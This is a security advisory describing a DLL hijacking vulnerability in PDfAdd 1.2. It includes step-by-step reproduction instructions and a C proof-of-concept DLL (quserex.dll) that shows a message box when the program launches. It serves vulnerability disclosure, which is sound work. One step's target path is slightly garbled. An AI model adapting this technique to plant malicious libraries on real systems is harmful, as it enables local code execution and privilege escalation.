=====================================================
[#] Exploit Title : PDfAdd 1.2 - DLL Hijacking Vulnerability
[#] Date Discovered : 2016-12-22
[#] Affected Product(s): PDfAdd v1.2 - Software
[#] Exploitation Technique: Local
[#] Severity Level: Medium
[#] Tested OS : Windows 7
=====================================================


[#] Product & Service Introduction:
===================================
PdfAdd is a free and free program that includes several wizards that make it easier to create pdflatex and asymptote graphics most commonly used in high school mathematics programs.
This program is primarily aimed at secondary school teachers using the LaTeX composition system.

(Copy of the Vendor Homepage: http://www.xm1math.net/ )


[#] Technical Details & Description:
====================================
A local dll injection vulnerability has been discovered in the official PDfAdd v1.2 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

Vulnerable Software:
           [+] PDfAdd

Vulnerable Version(s):
           [+] v1.2

Vulnerable Libraries:
           [+] quserex.dll


[#] Proof of Concept (PoC):
===========================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to quserex.dll
2. Copy quserex.dll to C:\Program Files\PdfAdd\pdfadd.exe
3. Launch pdfadd.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


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Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            iedb.ir/author-ZwX.html
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461


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